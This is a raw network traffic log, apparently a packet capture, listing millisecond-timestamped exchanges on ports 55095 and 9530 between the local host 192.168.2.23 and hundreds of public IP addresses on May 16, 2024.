May 16, 2024 16:38:51.982976913 CEST	55095	9530	192.168.2.23	108.223.179.43
May 16, 2024 16:38:51.982990026 CEST	55095	9530	192.168.2.23	90.24.157.74
May 16, 2024 16:38:51.983153105 CEST	9530	55095	110.120.106.12	192.168.2.23
May 16, 2024 16:38:51.983170986 CEST	9530	55095	188.123.230.142	192.168.2.23
May 16, 2024 16:38:51.983182907 CEST	9530	55095	135.173.96.126	192.168.2.23
May 16, 2024 16:38:51.983186007 CEST	55095	9530	192.168.2.23	191.40.212.132
May 16, 2024 16:38:51.983194113 CEST	9530	55095	165.197.143.176	192.168.2.23
May 16, 2024 16:38:51.983205080 CEST	9530	55095	176.104.104.240	192.168.2.23
May 16, 2024 16:38:51.983212948 CEST	55095	9530	192.168.2.23	110.120.106.12
May 16, 2024 16:38:51.983212948 CEST	55095	9530	192.168.2.23	188.123.230.142
May 16, 2024 16:38:51.983215094 CEST	9530	55095	103.22.41.47	192.168.2.23
May 16, 2024 16:38:51.983212948 CEST	55095	9530	192.168.2.23	135.173.96.126
May 16, 2024 16:38:51.983223915 CEST	55095	9530	192.168.2.23	165.197.143.176
May 16, 2024 16:38:51.983227015 CEST	9530	55095	54.155.20.9	192.168.2.23
May 16, 2024 16:38:51.983237982 CEST	9530	55095	76.38.38.38	192.168.2.23
May 16, 2024 16:38:51.983247995 CEST	9530	55095	182.1.80.178	192.168.2.23
May 16, 2024 16:38:51.983258963 CEST	9530	55095	94.199.187.116	192.168.2.23
May 16, 2024 16:38:51.983268976 CEST	55095	9530	192.168.2.23	54.155.20.9
May 16, 2024 16:38:51.983269930 CEST	9530	55095	78.74.66.191	192.168.2.23
May 16, 2024 16:38:51.983274937 CEST	9530	55095	86.120.86.249	192.168.2.23
May 16, 2024 16:38:51.983278036 CEST	55095	9530	192.168.2.23	76.38.38.38
May 16, 2024 16:38:51.983279943 CEST	55095	9530	192.168.2.23	182.1.80.178
May 16, 2024 16:38:51.983279943 CEST	9530	55095	155.244.222.188	192.168.2.23
May 16, 2024 16:38:51.983290911 CEST	9530	55095	216.153.119.104	192.168.2.23
May 16, 2024 16:38:51.983302116 CEST	9530	55095	54.67.123.150	192.168.2.23
May 16, 2024 16:38:51.983314037 CEST	9530	55095	195.113.98.187	192.168.2.23
May 16, 2024 16:38:51.983315945 CEST	55095	9530	192.168.2.23	86.120.86.249
May 16, 2024 16:38:51.983315945 CEST	55095	9530	192.168.2.23	94.199.187.116
May 16, 2024 16:38:51.983315945 CEST	55095	9530	192.168.2.23	78.74.66.191
May 16, 2024 16:38:51.983325005 CEST	55095	9530	192.168.2.23	216.153.119.104
May 16, 2024 16:38:51.983325958 CEST	9530	55095	102.30.213.106	192.168.2.23
May 16, 2024 16:38:51.983330965 CEST	55095	9530	192.168.2.23	54.67.123.150
May 16, 2024 16:38:51.983335972 CEST	55095	9530	192.168.2.23	176.104.104.240
May 16, 2024 16:38:51.983335972 CEST	55095	9530	192.168.2.23	155.244.222.188
May 16, 2024 16:38:51.983338118 CEST	55095	9530	192.168.2.23	103.22.41.47
May 16, 2024 16:38:51.983339071 CEST	9530	55095	128.215.128.217	192.168.2.23
May 16, 2024 16:38:51.983350992 CEST	9530	55095	17.34.93.23	192.168.2.23
May 16, 2024 16:38:51.983356953 CEST	55095	9530	192.168.2.23	102.30.213.106
May 16, 2024 16:38:51.983361006 CEST	9530	55095	139.53.78.113	192.168.2.23
May 16, 2024 16:38:51.983371973 CEST	9530	55095	132.140.67.87	192.168.2.23
May 16, 2024 16:38:51.983386040 CEST	55095	9530	192.168.2.23	195.113.98.187
May 16, 2024 16:38:51.983393908 CEST	55095	9530	192.168.2.23	128.215.128.217
May 16, 2024 16:38:51.983393908 CEST	55095	9530	192.168.2.23	139.53.78.113
May 16, 2024 16:38:51.983408928 CEST	55095	9530	192.168.2.23	132.140.67.87
May 16, 2024 16:38:51.983434916 CEST	55095	9530	192.168.2.23	17.34.93.23
May 16, 2024 16:38:51.983680964 CEST	9530	55095	53.116.0.123	192.168.2.23
May 16, 2024 16:38:51.983694077 CEST	9530	55095	84.174.50.35	192.168.2.23
May 16, 2024 16:38:51.983709097 CEST	9530	55095	54.249.80.205	192.168.2.23
May 16, 2024 16:38:51.983715057 CEST	55095	9530	192.168.2.23	53.116.0.123
May 16, 2024 16:38:51.983720064 CEST	9530	55095	184.103.88.123	192.168.2.23
May 16, 2024 16:38:51.983726025 CEST	55095	9530	192.168.2.23	84.174.50.35
May 16, 2024 16:38:51.983731985 CEST	9530	55095	66.81.233.102	192.168.2.23
May 16, 2024 16:38:51.983741999 CEST	9530	55095	42.159.192.68	192.168.2.23
May 16, 2024 16:38:51.983752012 CEST	9530	55095	76.236.171.38	192.168.2.23
May 16, 2024 16:38:51.983763933 CEST	9530	55095	150.182.133.125	192.168.2.23
May 16, 2024 16:38:51.983763933 CEST	55095	9530	192.168.2.23	54.249.80.205
May 16, 2024 16:38:51.983774900 CEST	9530	55095	176.34.191.78	192.168.2.23
May 16, 2024 16:38:51.983784914 CEST	55095	9530	192.168.2.23	66.81.233.102
May 16, 2024 16:38:51.983787060 CEST	55095	9530	192.168.2.23	184.103.88.123
May 16, 2024 16:38:51.983787060 CEST	9530	55095	161.169.118.203	192.168.2.23
May 16, 2024 16:38:51.983787060 CEST	55095	9530	192.168.2.23	42.159.192.68
May 16, 2024 16:38:51.983792067 CEST	55095	9530	192.168.2.23	76.236.171.38
May 16, 2024 16:38:51.983792067 CEST	55095	9530	192.168.2.23	150.182.133.125
May 16, 2024 16:38:51.983798027 CEST	9530	55095	171.198.0.112	192.168.2.23
May 16, 2024 16:38:51.983810902 CEST	9530	55095	66.237.107.46	192.168.2.23
May 16, 2024 16:38:51.983812094 CEST	55095	9530	192.168.2.23	176.34.191.78
May 16, 2024 16:38:51.983822107 CEST	9530	55095	148.87.80.5	192.168.2.23
May 16, 2024 16:38:51.983831882 CEST	9530	55095	62.244.181.77	192.168.2.23
May 16, 2024 16:38:51.983843088 CEST	9530	55095	47.23.253.126	192.168.2.23
May 16, 2024 16:38:51.983853102 CEST	9530	55095	46.188.136.183	192.168.2.23
May 16, 2024 16:38:51.983863115 CEST	55095	9530	192.168.2.23	161.169.118.203
May 16, 2024 16:38:51.983863115 CEST	9530	55095	164.37.85.105	192.168.2.23
May 16, 2024 16:38:51.983865023 CEST	55095	9530	192.168.2.23	62.244.181.77
May 16, 2024 16:38:51.983872890 CEST	55095	9530	192.168.2.23	148.87.80.5
May 16, 2024 16:38:51.983872890 CEST	9530	55095	76.16.201.57	192.168.2.23
May 16, 2024 16:38:51.983874083 CEST	55095	9530	192.168.2.23	171.198.0.112
May 16, 2024 16:38:51.983874083 CEST	55095	9530	192.168.2.23	66.237.107.46
May 16, 2024 16:38:51.983884096 CEST	9530	55095	97.237.110.164	192.168.2.23
May 16, 2024 16:38:51.983884096 CEST	55095	9530	192.168.2.23	47.23.253.126
May 16, 2024 16:38:51.983890057 CEST	55095	9530	192.168.2.23	46.188.136.183
May 16, 2024 16:38:51.983890057 CEST	55095	9530	192.168.2.23	164.37.85.105
May 16, 2024 16:38:51.983895063 CEST	9530	55095	211.98.222.85	192.168.2.23
May 16, 2024 16:38:51.983931065 CEST	55095	9530	192.168.2.23	76.16.201.57
May 16, 2024 16:38:51.983967066 CEST	9530	55095	200.202.177.105	192.168.2.23
May 16, 2024 16:38:51.983978987 CEST	9530	55095	98.58.140.43	192.168.2.23
May 16, 2024 16:38:51.983990908 CEST	9530	55095	61.252.191.131	192.168.2.23
May 16, 2024 16:38:51.983990908 CEST	55095	9530	192.168.2.23	211.98.222.85
May 16, 2024 16:38:51.983990908 CEST	55095	9530	192.168.2.23	97.237.110.164
May 16, 2024 16:38:51.984000921 CEST	55095	9530	192.168.2.23	200.202.177.105
May 16, 2024 16:38:51.984003067 CEST	9530	55095	9.242.152.172	192.168.2.23
May 16, 2024 16:38:51.984014034 CEST	9530	55095	109.12.160.31	192.168.2.23
May 16, 2024 16:38:51.984019041 CEST	55095	9530	192.168.2.23	98.58.140.43
May 16, 2024 16:38:51.984024048 CEST	9530	55095	79.203.108.69	192.168.2.23
May 16, 2024 16:38:51.984026909 CEST	55095	9530	192.168.2.23	61.252.191.131
May 16, 2024 16:38:51.984034061 CEST	9530	55095	213.159.230.91	192.168.2.23
May 16, 2024 16:38:51.984035015 CEST	55095	9530	192.168.2.23	9.242.152.172
May 16, 2024 16:38:51.984035015 CEST	55095	9530	192.168.2.23	109.12.160.31
May 16, 2024 16:38:51.984044075 CEST	9530	55095	209.69.82.216	192.168.2.23
May 16, 2024 16:38:51.984054089 CEST	9530	55095	206.88.173.166	192.168.2.23
May 16, 2024 16:38:51.984059095 CEST	55095	9530	192.168.2.23	79.203.108.69
May 16, 2024 16:38:51.984061956 CEST	55095	9530	192.168.2.23	213.159.230.91
May 16, 2024 16:38:51.984064102 CEST	9530	55095	221.170.45.211	192.168.2.23
May 16, 2024 16:38:51.984074116 CEST	9530	55095	48.77.87.46	192.168.2.23
May 16, 2024 16:38:51.984081030 CEST	55095	9530	192.168.2.23	209.69.82.216
May 16, 2024 16:38:51.984086037 CEST	9530	55095	181.111.102.204	192.168.2.23
May 16, 2024 16:38:51.984096050 CEST	9530	55095	27.7.174.3	192.168.2.23
May 16, 2024 16:38:51.984112978 CEST	55095	9530	192.168.2.23	221.170.45.211
May 16, 2024 16:38:51.984122038 CEST	55095	9530	192.168.2.23	181.111.102.204
May 16, 2024 16:38:51.984122992 CEST	55095	9530	192.168.2.23	206.88.173.166
May 16, 2024 16:38:51.984123945 CEST	9530	55095	81.62.140.176	192.168.2.23
May 16, 2024 16:38:51.984127998 CEST	55095	9530	192.168.2.23	48.77.87.46
May 16, 2024 16:38:51.984127998 CEST	55095	9530	192.168.2.23	27.7.174.3
May 16, 2024 16:38:51.984136105 CEST	9530	55095	90.142.15.5	192.168.2.23
May 16, 2024 16:38:51.984148979 CEST	9530	55095	148.99.239.184	192.168.2.23
May 16, 2024 16:38:51.984159946 CEST	9530	55095	133.253.244.57	192.168.2.23
May 16, 2024 16:38:51.984163046 CEST	55095	9530	192.168.2.23	81.62.140.176
May 16, 2024 16:38:51.984172106 CEST	9530	55095	216.231.182.3	192.168.2.23
May 16, 2024 16:38:51.984174013 CEST	55095	9530	192.168.2.23	90.142.15.5
May 16, 2024 16:38:51.984174967 CEST	55095	9530	192.168.2.23	148.99.239.184
May 16, 2024 16:38:51.984183073 CEST	9530	55095	51.189.105.240	192.168.2.23
May 16, 2024 16:38:51.984193087 CEST	9530	55095	199.131.212.190	192.168.2.23
May 16, 2024 16:38:51.984194994 CEST	55095	9530	192.168.2.23	133.253.244.57
May 16, 2024 16:38:51.984194994 CEST	55095	9530	192.168.2.23	216.231.182.3
May 16, 2024 16:38:51.984215975 CEST	55095	9530	192.168.2.23	51.189.105.240
May 16, 2024 16:38:51.984229088 CEST	55095	9530	192.168.2.23	199.131.212.190
May 16, 2024 16:38:51.984441996 CEST	9530	55095	161.179.190.186	192.168.2.23
May 16, 2024 16:38:51.984457016 CEST	9530	55095	80.181.235.84	192.168.2.23
May 16, 2024 16:38:51.984467983 CEST	9530	55095	209.0.75.39	192.168.2.23
May 16, 2024 16:38:51.984477997 CEST	9530	55095	42.151.101.178	192.168.2.23
May 16, 2024 16:38:51.984488010 CEST	9530	55095	131.230.221.64	192.168.2.23
May 16, 2024 16:38:51.984494925 CEST	55095	9530	192.168.2.23	80.181.235.84
May 16, 2024 16:38:51.984498978 CEST	9530	55095	111.251.245.246	192.168.2.23
May 16, 2024 16:38:51.984498978 CEST	55095	9530	192.168.2.23	209.0.75.39
May 16, 2024 16:38:51.984508038 CEST	55095	9530	192.168.2.23	42.151.101.178
May 16, 2024 16:38:51.984518051 CEST	9530	55095	62.109.199.123	192.168.2.23
May 16, 2024 16:38:51.984530926 CEST	9530	55095	49.51.149.152	192.168.2.23
May 16, 2024 16:38:51.984543085 CEST	55095	9530	192.168.2.23	131.230.221.64
May 16, 2024 16:38:51.984543085 CEST	55095	9530	192.168.2.23	111.251.245.246
May 16, 2024 16:38:51.984544039 CEST	55095	9530	192.168.2.23	161.179.190.186
May 16, 2024 16:38:51.984554052 CEST	55095	9530	192.168.2.23	62.109.199.123
May 16, 2024 16:38:51.984556913 CEST	9530	55095	200.142.49.242	192.168.2.23
May 16, 2024 16:38:51.984568119 CEST	55095	9530	192.168.2.23	49.51.149.152
May 16, 2024 16:38:51.984569073 CEST	9530	55095	126.64.175.134	192.168.2.23
May 16, 2024 16:38:51.984580040 CEST	9530	55095	207.153.78.41	192.168.2.23
May 16, 2024 16:38:51.984590054 CEST	9530	55095	194.167.193.198	192.168.2.23
May 16, 2024 16:38:51.984592915 CEST	55095	9530	192.168.2.23	200.142.49.242
May 16, 2024 16:38:51.984601021 CEST	55095	9530	192.168.2.23	126.64.175.134
May 16, 2024 16:38:51.984602928 CEST	9530	55095	147.203.194.110	192.168.2.23
May 16, 2024 16:38:51.984612942 CEST	55095	9530	192.168.2.23	207.153.78.41
May 16, 2024 16:38:51.984615088 CEST	9530	55095	188.201.181.97	192.168.2.23
May 16, 2024 16:38:51.984621048 CEST	55095	9530	192.168.2.23	194.167.193.198
May 16, 2024 16:38:51.984632015 CEST	9530	55095	123.50.235.83	192.168.2.23
May 16, 2024 16:38:51.984642029 CEST	9530	55095	151.43.198.105	192.168.2.23
May 16, 2024 16:38:51.984652042 CEST	9530	55095	217.98.216.59	192.168.2.23
May 16, 2024 16:38:51.984658957 CEST	55095	9530	192.168.2.23	123.50.235.83
May 16, 2024 16:38:51.984658957 CEST	55095	9530	192.168.2.23	147.203.194.110
May 16, 2024 16:38:51.984659910 CEST	55095	9530	192.168.2.23	188.201.181.97
May 16, 2024 16:38:51.984663010 CEST	9530	55095	68.206.220.9	192.168.2.23
May 16, 2024 16:38:51.984673977 CEST	55095	9530	192.168.2.23	217.98.216.59
May 16, 2024 16:38:51.984675884 CEST	9530	55095	39.165.241.46	192.168.2.23
May 16, 2024 16:38:51.984677076 CEST	55095	9530	192.168.2.23	151.43.198.105
May 16, 2024 16:38:51.984688044 CEST	9530	55095	87.176.138.11	192.168.2.23
May 16, 2024 16:38:51.984699011 CEST	9530	55095	48.213.172.69	192.168.2.23
May 16, 2024 16:38:51.984719038 CEST	55095	9530	192.168.2.23	68.206.220.9
May 16, 2024 16:38:51.984724045 CEST	55095	9530	192.168.2.23	39.165.241.46
May 16, 2024 16:38:51.984728098 CEST	55095	9530	192.168.2.23	87.176.138.11
May 16, 2024 16:38:51.984733105 CEST	55095	9530	192.168.2.23	48.213.172.69
May 16, 2024 16:38:51.984833956 CEST	9530	55095	85.206.83.203	192.168.2.23
May 16, 2024 16:38:51.984847069 CEST	9530	55095	178.13.151.62	192.168.2.23
May 16, 2024 16:38:51.984860897 CEST	9530	55095	46.61.132.117	192.168.2.23
May 16, 2024 16:38:51.984870911 CEST	9530	55095	2.189.184.24	192.168.2.23
May 16, 2024 16:38:51.984880924 CEST	9530	55095	170.254.100.189	192.168.2.23
May 16, 2024 16:38:51.984891891 CEST	9530	55095	108.129.166.14	192.168.2.23
May 16, 2024 16:38:51.984894991 CEST	55095	9530	192.168.2.23	178.13.151.62
May 16, 2024 16:38:51.984894991 CEST	55095	9530	192.168.2.23	46.61.132.117
May 16, 2024 16:38:51.984899044 CEST	55095	9530	192.168.2.23	85.206.83.203
May 16, 2024 16:38:51.984903097 CEST	55095	9530	192.168.2.23	2.189.184.24
May 16, 2024 16:38:51.984903097 CEST	9530	55095	31.229.27.135	192.168.2.23
May 16, 2024 16:38:51.984914064 CEST	9530	55095	157.8.125.127	192.168.2.23
May 16, 2024 16:38:51.984924078 CEST	9530	55095	107.195.25.33	192.168.2.23
May 16, 2024 16:38:51.984932899 CEST	55095	9530	192.168.2.23	170.254.100.189
May 16, 2024 16:38:51.984935045 CEST	9530	55095	210.244.156.234	192.168.2.23
May 16, 2024 16:38:51.984946012 CEST	9530	55095	156.204.90.16	192.168.2.23
May 16, 2024 16:38:51.984956026 CEST	9530	55095	17.183.54.118	192.168.2.23
May 16, 2024 16:38:51.984957933 CEST	55095	9530	192.168.2.23	31.229.27.135
May 16, 2024 16:38:51.984957933 CEST	55095	9530	192.168.2.23	157.8.125.127
May 16, 2024 16:38:51.984961033 CEST	55095	9530	192.168.2.23	107.195.25.33
May 16, 2024 16:38:51.984968901 CEST	9530	55095	204.130.6.215	192.168.2.23
May 16, 2024 16:38:51.984972954 CEST	55095	9530	192.168.2.23	210.244.156.234
May 16, 2024 16:38:51.984981060 CEST	9530	55095	171.117.223.202	192.168.2.23
May 16, 2024 16:38:51.984985113 CEST	55095	9530	192.168.2.23	156.204.90.16
May 16, 2024 16:38:51.984991074 CEST	55095	9530	192.168.2.23	108.129.166.14
May 16, 2024 16:38:51.984992027 CEST	55095	9530	192.168.2.23	17.183.54.118
May 16, 2024 16:38:51.984992981 CEST	9530	55095	146.95.19.24	192.168.2.23
May 16, 2024 16:38:51.984992981 CEST	55095	9530	192.168.2.23	204.130.6.215
May 16, 2024 16:38:51.985003948 CEST	9530	55095	65.169.180.74	192.168.2.23
May 16, 2024 16:38:51.985014915 CEST	9530	55095	195.79.200.25	192.168.2.23
May 16, 2024 16:38:51.985023975 CEST	55095	9530	192.168.2.23	171.117.223.202
May 16, 2024 16:38:51.985023975 CEST	55095	9530	192.168.2.23	146.95.19.24
May 16, 2024 16:38:51.985025883 CEST	9530	55095	73.191.4.101	192.168.2.23
May 16, 2024 16:38:51.985037088 CEST	9530	55095	18.192.167.181	192.168.2.23
May 16, 2024 16:38:51.985038996 CEST	55095	9530	192.168.2.23	65.169.180.74
May 16, 2024 16:38:51.985042095 CEST	9530	55095	77.63.34.104	192.168.2.23
May 16, 2024 16:38:51.985055923 CEST	55095	9530	192.168.2.23	195.79.200.25
May 16, 2024 16:38:51.985064983 CEST	55095	9530	192.168.2.23	18.192.167.181
May 16, 2024 16:38:51.985065937 CEST	55095	9530	192.168.2.23	73.191.4.101
May 16, 2024 16:38:51.985071898 CEST	55095	9530	192.168.2.23	77.63.34.104
May 16, 2024 16:38:51.985285044 CEST	9530	55095	134.106.170.210	192.168.2.23
May 16, 2024 16:38:51.985296965 CEST	9530	55095	159.75.99.229	192.168.2.23
May 16, 2024 16:38:51.985308886 CEST	9530	55095	85.121.55.153	192.168.2.23
May 16, 2024 16:38:51.985327005 CEST	9530	55095	160.39.109.232	192.168.2.23
May 16, 2024 16:38:51.985337973 CEST	55095	9530	192.168.2.23	134.106.170.210
May 16, 2024 16:38:51.985340118 CEST	9530	55095	34.229.166.234	192.168.2.23
May 16, 2024 16:38:51.985343933 CEST	55095	9530	192.168.2.23	159.75.99.229
May 16, 2024 16:38:51.985351086 CEST	9530	55095	195.208.55.30	192.168.2.23
May 16, 2024 16:38:51.985359907 CEST	9530	55095	54.130.117.83	192.168.2.23
May 16, 2024 16:38:51.985371113 CEST	9530	55095	46.226.30.175	192.168.2.23
May 16, 2024 16:38:51.985371113 CEST	55095	9530	192.168.2.23	160.39.109.232
May 16, 2024 16:38:51.985371113 CEST	55095	9530	192.168.2.23	85.121.55.153
May 16, 2024 16:38:51.985372066 CEST	55095	9530	192.168.2.23	34.229.166.234
May 16, 2024 16:38:51.985382080 CEST	9530	55095	8.69.79.97	192.168.2.23
May 16, 2024 16:38:51.985392094 CEST	9530	55095	98.91.219.101	192.168.2.23
May 16, 2024 16:38:51.985395908 CEST	55095	9530	192.168.2.23	46.226.30.175
May 16, 2024 16:38:51.985397100 CEST	55095	9530	192.168.2.23	54.130.117.83
May 16, 2024 16:38:51.985397100 CEST	55095	9530	192.168.2.23	195.208.55.30
May 16, 2024 16:38:51.985407114 CEST	9530	55095	51.26.95.156	192.168.2.23
May 16, 2024 16:38:51.985416889 CEST	9530	55095	129.197.114.181	192.168.2.23
May 16, 2024 16:38:51.985418081 CEST	55095	9530	192.168.2.23	8.69.79.97
May 16, 2024 16:38:51.985424995 CEST	55095	9530	192.168.2.23	98.91.219.101
May 16, 2024 16:38:51.985433102 CEST	9530	55095	151.110.179.64	192.168.2.23
May 16, 2024 16:38:51.985444069 CEST	9530	55095	109.128.139.111	192.168.2.23
May 16, 2024 16:38:51.985449076 CEST	9530	55095	77.190.179.31	192.168.2.23
May 16, 2024 16:38:51.985452890 CEST	9530	55095	196.40.110.224	192.168.2.23
May 16, 2024 16:38:51.985455990 CEST	55095	9530	192.168.2.23	51.26.95.156
May 16, 2024 16:38:51.985455990 CEST	55095	9530	192.168.2.23	129.197.114.181
May 16, 2024 16:38:51.985457897 CEST	9530	55095	188.188.106.250	192.168.2.23
May 16, 2024 16:38:51.985462904 CEST	9530	55095	119.208.143.234	192.168.2.23
May 16, 2024 16:38:51.985474110 CEST	55095	9530	192.168.2.23	109.128.139.111
May 16, 2024 16:38:51.985474110 CEST	9530	55095	193.30.127.158	192.168.2.23
May 16, 2024 16:38:51.985487938 CEST	9530	55095	68.26.21.49	192.168.2.23
May 16, 2024 16:38:51.985497952 CEST	9530	55095	18.32.168.73	192.168.2.23
May 16, 2024 16:38:51.985500097 CEST	55095	9530	192.168.2.23	77.190.179.31
May 16, 2024 16:38:51.985503912 CEST	55095	9530	192.168.2.23	119.208.143.234
May 16, 2024 16:38:51.985510111 CEST	55095	9530	192.168.2.23	196.40.110.224
May 16, 2024 16:38:51.985515118 CEST	55095	9530	192.168.2.23	151.110.179.64
May 16, 2024 16:38:51.985518932 CEST	55095	9530	192.168.2.23	68.26.21.49
May 16, 2024 16:38:51.985518932 CEST	55095	9530	192.168.2.23	188.188.106.250
May 16, 2024 16:38:51.985603094 CEST	55095	9530	192.168.2.23	193.30.127.158
May 16, 2024 16:38:51.985604048 CEST	55095	9530	192.168.2.23	18.32.168.73
May 16, 2024 16:38:51.985655069 CEST	9530	55095	78.133.164.206	192.168.2.23
May 16, 2024 16:38:51.985667944 CEST	9530	55095	78.202.240.246	192.168.2.23
May 16, 2024 16:38:51.985678911 CEST	9530	55095	161.79.223.103	192.168.2.23
May 16, 2024 16:38:51.985691071 CEST	9530	55095	86.21.207.119	192.168.2.23
May 16, 2024 16:38:51.985697985 CEST	55095	9530	192.168.2.23	78.202.240.246
May 16, 2024 16:38:51.985701084 CEST	9530	55095	39.148.181.90	192.168.2.23
May 16, 2024 16:38:51.985701084 CEST	55095	9530	192.168.2.23	78.133.164.206
May 16, 2024 16:38:51.985702991 CEST	55095	9530	192.168.2.23	161.79.223.103
May 16, 2024 16:38:51.985712051 CEST	9530	55095	182.186.138.109	192.168.2.23
May 16, 2024 16:38:51.985719919 CEST	55095	9530	192.168.2.23	86.21.207.119
May 16, 2024 16:38:51.985722065 CEST	9530	55095	162.98.245.90	192.168.2.23
May 16, 2024 16:38:51.985728025 CEST	9530	55095	75.201.37.94	192.168.2.23
May 16, 2024 16:38:51.985738039 CEST	9530	55095	100.230.225.249	192.168.2.23
May 16, 2024 16:38:51.985743999 CEST	55095	9530	192.168.2.23	39.148.181.90
May 16, 2024 16:38:51.985752106 CEST	55095	9530	192.168.2.23	162.98.245.90
May 16, 2024 16:38:51.985752106 CEST	9530	55095	212.221.201.206	192.168.2.23
May 16, 2024 16:38:51.985761881 CEST	55095	9530	192.168.2.23	75.201.37.94
May 16, 2024 16:38:51.985764980 CEST	9530	55095	95.123.33.136	192.168.2.23
May 16, 2024 16:38:51.985774994 CEST	55095	9530	192.168.2.23	182.186.138.109
May 16, 2024 16:38:51.985779047 CEST	9530	55095	196.72.214.113	192.168.2.23
May 16, 2024 16:38:51.985779047 CEST	55095	9530	192.168.2.23	100.230.225.249
May 16, 2024 16:38:51.985785007 CEST	55095	9530	192.168.2.23	212.221.201.206
May 16, 2024 16:38:51.985790014 CEST	9530	55095	207.207.129.51	192.168.2.23
May 16, 2024 16:38:51.985800028 CEST	9530	55095	160.158.53.111	192.168.2.23
May 16, 2024 16:38:51.985805988 CEST	55095	9530	192.168.2.23	95.123.33.136
May 16, 2024 16:38:51.985810995 CEST	9530	55095	91.228.238.228	192.168.2.23
May 16, 2024 16:38:51.985810995 CEST	55095	9530	192.168.2.23	196.72.214.113
May 16, 2024 16:38:51.985821962 CEST	9530	55095	52.62.12.75	192.168.2.23
May 16, 2024 16:38:51.985833883 CEST	55095	9530	192.168.2.23	160.158.53.111
May 16, 2024 16:38:51.985835075 CEST	55095	9530	192.168.2.23	207.207.129.51
May 16, 2024 16:38:51.985840082 CEST	9530	55095	142.242.21.167	192.168.2.23
May 16, 2024 16:38:51.985847950 CEST	55095	9530	192.168.2.23	91.228.238.228
May 16, 2024 16:38:51.985850096 CEST	9530	55095	45.139.161.221	192.168.2.23
May 16, 2024 16:38:51.985856056 CEST	55095	9530	192.168.2.23	52.62.12.75
May 16, 2024 16:38:51.985861063 CEST	9530	55095	24.86.81.201	192.168.2.23
May 16, 2024 16:38:51.985872984 CEST	9530	55095	188.74.237.119	192.168.2.23
May 16, 2024 16:38:51.985893965 CEST	55095	9530	192.168.2.23	24.86.81.201
May 16, 2024 16:38:51.985913992 CEST	55095	9530	192.168.2.23	45.139.161.221
May 16, 2024 16:38:51.985913992 CEST	55095	9530	192.168.2.23	188.74.237.119
May 16, 2024 16:38:51.985960007 CEST	55095	9530	192.168.2.23	142.242.21.167
May 16, 2024 16:38:51.986090899 CEST	9530	55095	118.36.249.9	192.168.2.23
May 16, 2024 16:38:51.986104965 CEST	9530	55095	173.243.16.49	192.168.2.23
May 16, 2024 16:38:51.986115932 CEST	9530	55095	52.144.9.62	192.168.2.23
May 16, 2024 16:38:51.986125946 CEST	9530	55095	169.251.209.254	192.168.2.23
May 16, 2024 16:38:51.986135006 CEST	55095	9530	192.168.2.23	118.36.249.9
May 16, 2024 16:38:51.986136913 CEST	9530	55095	67.31.219.37	192.168.2.23
May 16, 2024 16:38:51.986139059 CEST	55095	9530	192.168.2.23	52.144.9.62
May 16, 2024 16:38:51.986140966 CEST	55095	9530	192.168.2.23	173.243.16.49
May 16, 2024 16:38:51.986149073 CEST	9530	55095	135.235.222.21	192.168.2.23
May 16, 2024 16:38:51.986151934 CEST	55095	9530	192.168.2.23	169.251.209.254
May 16, 2024 16:38:51.986160040 CEST	9530	55095	164.114.81.195	192.168.2.23
May 16, 2024 16:38:51.986165047 CEST	9530	55095	185.41.18.161	192.168.2.23
May 16, 2024 16:38:51.986171961 CEST	55095	9530	192.168.2.23	67.31.219.37
May 16, 2024 16:38:51.986175060 CEST	9530	55095	203.238.145.10	192.168.2.23
May 16, 2024 16:38:51.986186028 CEST	9530	55095	206.212.158.219	192.168.2.23
May 16, 2024 16:38:51.986196041 CEST	9530	55095	70.178.157.103	192.168.2.23
May 16, 2024 16:38:51.986198902 CEST	55095	9530	192.168.2.23	185.41.18.161
May 16, 2024 16:38:51.986205101 CEST	55095	9530	192.168.2.23	203.238.145.10
May 16, 2024 16:38:51.986206055 CEST	9530	55095	102.192.23.185	192.168.2.23
May 16, 2024 16:38:51.986207962 CEST	55095	9530	192.168.2.23	135.235.222.21
May 16, 2024 16:38:51.986213923 CEST	55095	9530	192.168.2.23	206.212.158.219
May 16, 2024 16:38:51.986217976 CEST	9530	55095	98.85.232.131	192.168.2.23
May 16, 2024 16:38:51.986221075 CEST	55095	9530	192.168.2.23	70.178.157.103
May 16, 2024 16:38:51.986226082 CEST	55095	9530	192.168.2.23	164.114.81.195
May 16, 2024 16:38:51.986228943 CEST	9530	55095	100.8.237.239	192.168.2.23
May 16, 2024 16:38:51.986232996 CEST	55095	9530	192.168.2.23	102.192.23.185
May 16, 2024 16:38:51.986241102 CEST	9530	55095	199.254.59.83	192.168.2.23
May 16, 2024 16:38:51.986246109 CEST	55095	9530	192.168.2.23	98.85.232.131
May 16, 2024 16:38:51.986252069 CEST	9530	55095	58.109.251.112	192.168.2.23
May 16, 2024 16:38:51.986262083 CEST	55095	9530	192.168.2.23	100.8.237.239
May 16, 2024 16:38:51.986263037 CEST	9530	55095	37.72.141.91	192.168.2.23
May 16, 2024 16:38:51.986274958 CEST	9530	55095	163.249.53.3	192.168.2.23
May 16, 2024 16:38:51.986284971 CEST	9530	55095	82.185.88.162	192.168.2.23
May 16, 2024 16:38:51.986288071 CEST	55095	9530	192.168.2.23	58.109.251.112
May 16, 2024 16:38:51.986291885 CEST	55095	9530	192.168.2.23	37.72.141.91
May 16, 2024 16:38:51.986294985 CEST	9530	55095	187.33.99.55	192.168.2.23
May 16, 2024 16:38:51.986326933 CEST	55095	9530	192.168.2.23	199.254.59.83
May 16, 2024 16:38:51.986332893 CEST	55095	9530	192.168.2.23	163.249.53.3
May 16, 2024 16:38:51.986332893 CEST	55095	9530	192.168.2.23	187.33.99.55
May 16, 2024 16:38:51.986335993 CEST	55095	9530	192.168.2.23	82.185.88.162
May 16, 2024 16:38:51.986550093 CEST	9530	55095	74.241.253.74	192.168.2.23
May 16, 2024 16:38:51.986562967 CEST	9530	55095	159.197.185.199	192.168.2.23
May 16, 2024 16:38:51.986573935 CEST	9530	55095	170.205.83.215	192.168.2.23
May 16, 2024 16:38:51.986584902 CEST	9530	55095	206.213.115.67	192.168.2.23
May 16, 2024 16:38:51.986588001 CEST	55095	9530	192.168.2.23	159.197.185.199
May 16, 2024 16:38:51.986596107 CEST	9530	55095	194.17.45.157	192.168.2.23
May 16, 2024 16:38:51.986607075 CEST	9530	55095	167.64.176.6	192.168.2.23
May 16, 2024 16:38:51.986613035 CEST	55095	9530	192.168.2.23	170.205.83.215
May 16, 2024 16:38:51.986613989 CEST	55095	9530	192.168.2.23	74.241.253.74
May 16, 2024 16:38:51.986618042 CEST	9530	55095	109.68.114.20	192.168.2.23
May 16, 2024 16:38:51.986619949 CEST	55095	9530	192.168.2.23	206.213.115.67
